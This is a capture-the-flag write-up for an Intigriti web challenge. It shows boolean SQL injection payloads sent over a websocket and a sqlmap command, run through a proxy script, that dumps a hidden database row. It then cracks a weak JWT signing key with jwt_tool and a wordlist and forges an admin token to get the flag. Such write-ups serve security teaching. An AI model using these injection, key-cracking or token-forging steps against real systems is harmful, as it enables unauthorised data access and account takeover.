[](https://www.youtube.com/watch?v=VX445yn4lQ4 "Websocket SQLi and Weak JWT Signing Key")

### Description
>I started my own bug bounty platform! The UI is in the early stages but we've already got plenty of submissions. I wonder why I keep getting emails about a "critical" vulnerability report though, I don't see it anywhere on the system ?

# Part 1: Websocket SQLi
- Players can use burp repeater to tamper with websocket requests, if they set the ID to 11, they will find an extra name `ethical_hacker`
- If they probe with quotes, they will see errors then quickly find SQLi
- `{"id":"1 AND 1=1"}`
- `{"id":"1 AND 1=2"}`
- Using this information, they will see need to dump the hidden row, either by filtering on `id`, `reported_by` or `severity`
- Players can write a script, but may find [this 2021 writeup from Rayhan](https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html) to use SQLMap, but the script won't work by default:
- They need to change the `ws` protocol to `wss` for remote
- The DB is SQLite instead of MySQL, negative values in SQLMap will cause the script to freeze - players will need to add a timeout or logic to skip negative values
- Launch the middleware script (sqlmap_proxy.py)
- `sqlmap -u "http://localhost:9999/?id=1" --batch --proxy=http://127.0.0.1:8080 -T bug_reports -C description --where id=11 --dump --threads 10`
- The hidden bug report is returned, which indicates there's an admin endpoint with weak creds
```bash
+--------------------------------------+
| description |
+--------------------------------------+
| crypt0:c4tz on /4dm1n_z0n3, really?! |
+--------------------------------------+
```

# Part 2: Weak JWT Signing Key
- Players visit `/4dm1n_z0n3` and login with `crypt0:c4tz`
- They see a message saying the key is only viewable by the admin
- Crack the JWT with hashcat/john/jwt_tool etc, finding the key `catsarethebest` (present in rockyou.txt), e.g. jwt_tool takes like 3 secs
- `jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6ImNhdCJ9.HJxAqYHm9TG8PBmMScRGsAPcK5vymC6AS4brUyfH7VA -C -d /usr/share/wordlists/rockyou.txt`
- Forge JWT as admin, e.g. with jwt_tool
- `jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6ImNhdCJ9.HJxAqYHm9TG8PBmMScRGsAPcK5vymC6AS4brUyfH7VA -S hs256 -p "catsarethebest" -I -pc identity -pv admin`
- Login with the new cookie, revealing the config key which is the flag!
```txt
INTIGRITI{w3b50ck37_5ql1_4nd_w34k_jw7}
```

Original writeup (https://github.com/Crypto-Cat/CTF/blob/main/ctf_events/intigriti_23/web/bug_report_repo.md).